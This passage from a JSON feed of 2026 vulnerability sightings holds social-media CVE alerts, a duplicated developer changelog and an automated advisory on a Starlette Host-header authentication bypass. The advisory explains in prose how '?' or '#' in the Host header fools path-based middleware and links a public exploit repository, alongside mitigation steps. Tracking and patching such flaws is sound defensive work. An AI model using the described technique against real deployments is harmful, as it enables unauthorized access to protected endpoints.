\"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n    - [Vue \"SCAN\" (LOGS) - Mobile & Desktop](https://trello.com/c/AHZcgIoE/2252-vue-scan-logs-mobile-desktop) **\ud83d\udc8e\ud83d\udc8e\ud83d\udc8edoing**\n        - *:sparkles: Add WMS logs view* [\\#7521](https://github.com/Wishibam/Marketplace-api/pull/7521)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *:sparkles: feat: store all media objects on Scaleway* [\\#7511](https://github.com/Wishibam/Marketplace-api/pull/7511)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)\n    - *fix(validator): increase max variation constraint limit* [\\#7526](https://github.com/Wishibam/Marketplace-api/pull/7526)\n    - *:bug: Fix DomainEventDispatcherInterface missing on DomainModel entities* [\\#7527](https://github.com/Wishibam/Marketplace-api/pull/7527)\n    - *:recycle: refactor: store imported images under medias/<org>/<type>/* [\\#7530](https://github.com/Wishibam/Marketplace-api/pull/7530)\n    - *:sparkles: feat: isolate Behat media uploads under medias/behat/* [\\#7531](https://github.com/Wishibam/Marketplace-api/pull/7531)", "creation_timestamp": "2026-06-04T13:32:48.000000Z"}, {"uuid": "0fb2af36-255e-43e6-be65-b452492ad909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://gist.github.com/alon710/cb3b1174ebf48e827d68142e3b30cd37", "content": "# CVE-2026-48710: CVE-2026-48710: Starlette BadHost HTTP Host-Header Path-Poisoning and Authentication Bypass\n\n> **CVSS Score:** 7.0\n> **Published:** 2026-06-04\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48710\n\n## Summary\nCVE-2026-48710 is a critical security-desynchronization vulnerability in the Starlette ASGI framework (versions >= 0.8.3, < 1.0.1) that allows remote attackers to bypass path-based security middleware and access-control decorators. By injecting URI authority-to-path delimiters into the Host header, attackers can manipulate the application-level parsed URL path while the underlying ASGI server dispatches the request to target endpoints.\n\n## TL;DR\nA validation flaw in Starlette's Host header parsing enables attackers to bypass security middleware checks. By adding characters like '?' or '#' to the Host header, the framework miscalculates the request path as '/' (public) while the router still executes the actual targeted administrative endpoint.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-1289\n- **Attack Vector**: Network (AV:N)\n- **CVSS v4.0 Score**: 7.0 (High Severity)\n- **EPSS Score**: 0.00353 (0.35%)\n- **Impact**: Authentication and Authorization Bypass\n- **Exploit Status**: Proof-of-Concept (PoC) public, scanner code weaponized\n- **KEV Status**: Not listed\n\n## Affected Systems\n\n- Starlette ASGI framework (versions >= 0.8.3, < 1.0.1)\n- FastAPI applications using path-based security middleware\n- LiteLLM and vLLM infrastructures deployed on vulnerable Starlette versions\n- Model Context Protocol (MCP) server implementations running on Starlette\n- **Starlette**: >= 0.8.3, < 1.0.1 (Fixed in: `1.0.1`)\n- **FastAPI**: <= 0.115.x (Fixed in: `Dependent on Starlette 1.0.1`)\n\n## Mitigation\n\n- Upgrade Starlette to version 1.0.1 or higher to enforce strict Host header validation.\n- Modify custom middleware to reference request.scope['path'] instead of request.url.path to prevent path desynchronization.\n- Deploy an RFC-compliant reverse proxy (such as Nginx or Apache) that rejects invalid characters in the Host header.\n- Ensure ASGI application servers bind only to localhost and are not directly exposed to untrusted networks.\n\n**Remediation Steps:**\n1. Identify all deployments using Starlette by running 'pip show starlette' or auditing lock files.\n2. Update requirements.txt or poetry.lock to specify 'starlette>=1.0.1'.\n3. Rebuild and redeploy container images to ensure downstream packages (like FastAPI) use the updated Starlette version.\n4. Test custom security middleware with mock malformed Host headers to verify that access control checks cannot be bypassed.\n\n## References\n\n- [Official Starlette GitHub Advisory](https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr)\n- [Official Security Fix Commit](https://github.com/Kludex/starlette/commit/764dab0dcfb9033d75442d7a359645c9f94648c6)\n- [X41 D-Sec Lab Security Advisory](https://www.x41-dsec.de/lab/advisories/x41-2026-002-starlette)\n- [OSTIF Disclosure & Deep-Dive Warning](https://ostif.org/disclosing-the-badhost-vulnerability-in-starlette)\n- [CVE Record (CVE.org)](https://www.cve.org/CVERecord?id=CVE-2026-48710)\n- [PyPA PYSEC Tracker](https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-161.yaml)\n- [BadHost Exploit & Scanner Repository](https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit)\n- [Dedicated Threat Portal](https://badhost.org)\n- [SecWest Starlette Portal](https://www.secwest.net/starlette)\n- [Wiz Vulnerability Analysis Entry](https://www.wiz.io/vulnerability-database/cve/cve-2026-48710)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48710) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-04T13:40:58.000000Z"}, {"uuid": "5fd50abe-2bb4-43e3-a304-ad05171af1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48019", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mni47aj5bx2s", "content": "Critical #Laravel CRLF Injection Vulnerability (CVE-2026-48019) allows attackers to manipulate outbound emails. Upgrade to versions 13.10.0 or 12.60.0 immediately! #CyberSecurity #WebSecurity Link: thedailytechfeed.com/critical-lar...", "creation_timestamp": "2026-06-04T17:04:45.023169Z"}, {"uuid": "bb017b2c-f7ca-4159-a957-e661d3cc045e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48480", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnic4kb5ip2y", "content": "CVE-2026-48480 - netty-incubator-codec-ohttp OHttpVersionChunkDraft's Missing Final-Chunk Enforcement Leads to Undetected Stream Truncation\nCVE ID : CVE-2026-48480\n \n Published : June 4, 2026, 5:39 p.m. | 53\u00a0minutes ago\n \n Description : The netty incubator codec.bhttp is a jav...", "creation_timestamp": "2026-06-04T18:50:36.560942Z"}, {"uuid": "87cd18f5-9674-4454-a031-994f37097ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48040", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mniecjvsyh2f", "content": "CVE-2026-48040 - netty-incubator-codec-ohttp's Incorrect Native Pointer Derivation in Pooled Direct ByteBuf Fallback Leads to Out-of-Bounds Native Memory Access\nCVE ID : CVE-2026-48040\n \n Published : June 4, 2026, 6:16 p.m. | 16\u00a0minutes ago\n \n Description : The netty incubator...", "creation_timestamp": "2026-06-04T19:29:45.011951Z"}, {"uuid": "3adc70f1-e22e-479e-a57c-2a13e8588620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48011", "type": "published-proof-of-concept", "source": "https://github.com/shopware/shopware/security/advisories/GHSA-7w52-7jvm-m9vw", "content": "", "creation_timestamp": "2026-05-19T16:06:31.000000Z"}, {"uuid": "b6100dab-b70d-440a-a607-f04016cf50bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48012", "type": "published-proof-of-concept", "source": "https://github.com/shopware/shopware/security/advisories/GHSA-4x3x-869w-xx3m", "content": "", "creation_timestamp": "2026-05-19T16:06:53.000000Z"}, {"uuid": "1240c608-6333-4c33-9bbb-be3b002e3bfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48579", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116694392154624808", "content": "A new vulnerability with increased severity was disclosed for Microsoft Exchange Online (CVE-2026-48579) https://vuldb.com/vuln/368417", "creation_timestamp": "2026-06-04T23:18:35.125709Z"}, {"uuid": "748a3fa1-23d1-4cf9-b79b-1e99b91c34d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48567", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnithccnvq22", "content": "\ud83d\udd34 CVE-2026-48567 - Critical (10)\n\nAuthentication bypass by spoofing in Azure HorizonDB allows an unauthorized attacker to elevate p...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48567/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-05T00:00:51.908435Z"}, {"uuid": "be820d2f-ba58-4c98-b308-ff3dd3f1a9f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48579", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnithjxzog2b", "content": "\ud83d\udd34 CVE-2026-48579 - Critical (9.1)\n\nImproper authorization in Microsoft Exchange Online allows an unauthorized attacker to disclose i...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48579/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-05T00:00:59.817425Z"}, {"uuid": "60aadf67-5591-4d65-9a50-abf5185c109b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mnj3tf3oaw2f", "content": "Top 3 CVE for last 7 days:\nCVE-2025-48595: 136 interactions\nCVE-2026-0257: 43 interactions\nCVE-2026-48778: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-49858: 11 interactions\nCVE-2026-20230: 6 interactions\nCVE-2026-10737: 4 interactions\n", "creation_timestamp": "2026-06-05T02:30:47.115463Z"}, {"uuid": "d51fe5e1-36f6-452c-85bb-4c4985997745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116696141985383127", "content": "Attention, elevated activities detected targeting Notepad++ (CVE-2026-48778) https://vuldb.com/vuln/367178/cti", "creation_timestamp": "2026-06-05T06:43:36.817858Z"}, {"uuid": "c4782f92-cb04-4c70-abf9-7e75657412d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/567d025cb85f89bc5c08090854238aea", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd75 Retour de test**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd75 Retour de test**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n        - *Fix some issues with invoice generation* [\\#7532](https://github.com/Wishibam/Marketplace-api/pull/7532)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [TVO - PACKING - Permettre de contourner le packing via bordereau en mettant un N\u00b0 de suivi directement.](https://trello.com/c/DqXF2jwa/2375-tvo-packing-permettre-de-contourner-le-packing-via-bordereau-en-mettant-un-n-de-suivi-directement) **\ud83e\udd73Testing**\n        - *:sparkles: WMS Packing add manual entry for trackingNumber* [\\#7459](https://github.com/Wishibam/Marketplace-api/pull/7459)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\u2600\ufe0fIn review**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n    - [WMS Vue \"SCAN\" (LOGS) - Mobile & Desktop](https://trello.com/c/AHZcgIoE/2252-wms-vue-scan-logs-mobile-desktop) **\ud83e\udd73Testing**\n        - *:sparkles: Add WMS logs view* [\\#7521](https://github.com/Wishibam/Marketplace-api/pull/7521)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *:sparkles: feat: store all media objects on Scaleway* [\\#7511](https://github.com/Wishibam/Marketplace-api/pull/7511)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)\n    - *fix(validator): increase max variation constraint limit* [\\#7526](https://github.com/Wishibam/Marketplace-api/pull/7526)\n    - *:bug: Fix DomainEventDispatcherInterface missing on DomainModel entities* [\\#7527](https://github.com/Wishibam/Marketplace-api/pull/7527)\n    - *:recycle: refactor: store imported images under medias/<org>/<type>/* [\\#7530](https://github.com/Wishibam/Marketplace-api/pull/7530)\n    - *:sparkles: feat: isolate Behat media uploads under medias/behat/* [\\#7531](https://github.com/Wishibam/Marketplace-api/pull/7531)", "creation_timestamp": "2026-06-05T07:03:05.000000Z"}, {"uuid": "2c752e5e-0b1c-4309-9f6a-27402122a5cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnjqzbo4aw2q", "content": "CVE-2026-48907 - Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla\nCVE ID : CVE-2026-48907\n \n Published : June 5, 2026, 8:16 a.m. | 16\u00a0minutes ago\n \n Description : A vulnerability in the JCE editor extension for Joomla allows the cr...", "creation_timestamp": "2026-06-05T08:49:52.767565Z"}, {"uuid": "4ffc6e37-b1ef-4097-95f9-254c07c47c10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48907", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116696680833602850", "content": "\ud83d\udea8 CRITICAL: Joomla Content Editor (JCE) vuln (CVE-2026-48907) allows unauthenticated PHP upload & exec (v1.0.0 \u2013 2.9.99.4). No patch yet \u2014 restrict or disable JCE & monitor systems. Details: https://radar.offseq.com/threat/cve-2026-48907-cwe-284-improper-access-control-in--ff15bdc3 #OffSeq #Joomla #Vuln #InfoSec", "creation_timestamp": "2026-06-05T09:00:38.352983Z"}, {"uuid": "75ff94c7-b57c-4db5-a91b-b18ffc562869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48907", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mnjrmkgh2423", "content": "Joomla Content Editor (JCE) CRITICAL vuln lets unauth users upload & run PHP (v1.0.0 \u2013 2.9.99.4). No patch yet \u2014 restrict or disable JCE + monitor activity. Stay updated: https://radar.offseq.com/threat/cve-2026-48907-cwe-284-improper-access-control-in--ff15bdc3 #OffSeq #Joomla #SecurityAlert", "creation_timestamp": "2026-06-05T09:00:39.901516Z"}, {"uuid": "75bc7ca7-0a99-4063-a545-e38b8d565554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48519", "type": "seen", "source": "https://www.acn.gov.it/portale/w/langflow-poc-pubblico-per-lo-sfruttamento-della-cve-2026-48519", "content": "", "creation_timestamp": "2026-06-05T00:32:37.000000Z"}, {"uuid": "cc0b3a9c-6961-4626-a0f9-a736addc2d0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48834", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/fcpo4l6tlfssz", "content": "CVE-2026-48834: Apache Answer: Denial of service via crafted Accept-Language header parsing", "creation_timestamp": "2026-08-05T15:13:09.651169Z"}, {"uuid": "7f3acf2c-2f0f-429b-9e37-3e437e3afaea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48911", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/4ygjgczwvv462", "content": "CVE-2026-48911: Apache Answer: Unauthenticated OAuth Email-Binding Account Takeover via Existing User Confirmation Flow", "creation_timestamp": "2026-08-05T15:25:09.632726Z"}, {"uuid": "0862a3af-2f7e-4c5f-944d-411bc5489d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48912", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/igyfohm5byanp", "content": "CVE-2026-48912: Apache Answer: Improper authorization in avatar update cleanup allows authenticated users to delete arbitrary uploaded files by URL", "creation_timestamp": "2026-08-05T15:31:09.584814Z"}, {"uuid": "c8e6fda7-547e-4ee4-b2fb-444530c16c90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48207", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mnjyepqdhn25", "content": "\u3010\u7dca\u6025\u3011CVE-2026-48207 Apache Fory\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\uff5c\u5373\u6642\u5bfe\u5fdc\u304c\u5fc5\u8981\n\nCVE-2026-48207 Apache Fory\u306ePyFory\u306b\u304a\u3044\u3066\u3001\u4fe1\u983c\u3067\u304d\u306a\u3044\u30c7\u30fc\u30bf\u306e\u9006\u30b7\u30ea\u30a2\u30eb\u5316\u304c\u767a\u751f\u3059\u308b\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3059\u3002", "creation_timestamp": "2026-06-05T11:01:32.764166Z"}, {"uuid": "5d85df3f-b54b-42b8-9250-faed1418bfcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48241", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mnjyetdsgv2h", "content": "\u3010\u7dca\u6025\u3011CVE-2026-48241 Open ISES Tickets 3.44.2\u4ee5\u524d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\uff5c\u5373\u6642\u5bfe\u5fdc\u304c\u5fc5\u8981\n\nCVE-2026-48241 Open ISES Tickets 